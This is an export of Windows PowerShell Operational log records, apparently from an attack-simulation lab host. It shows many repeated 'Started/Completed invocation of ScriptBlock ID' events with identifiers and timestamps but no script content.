LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045959
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045957
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045956
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045940
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045939
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045933
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
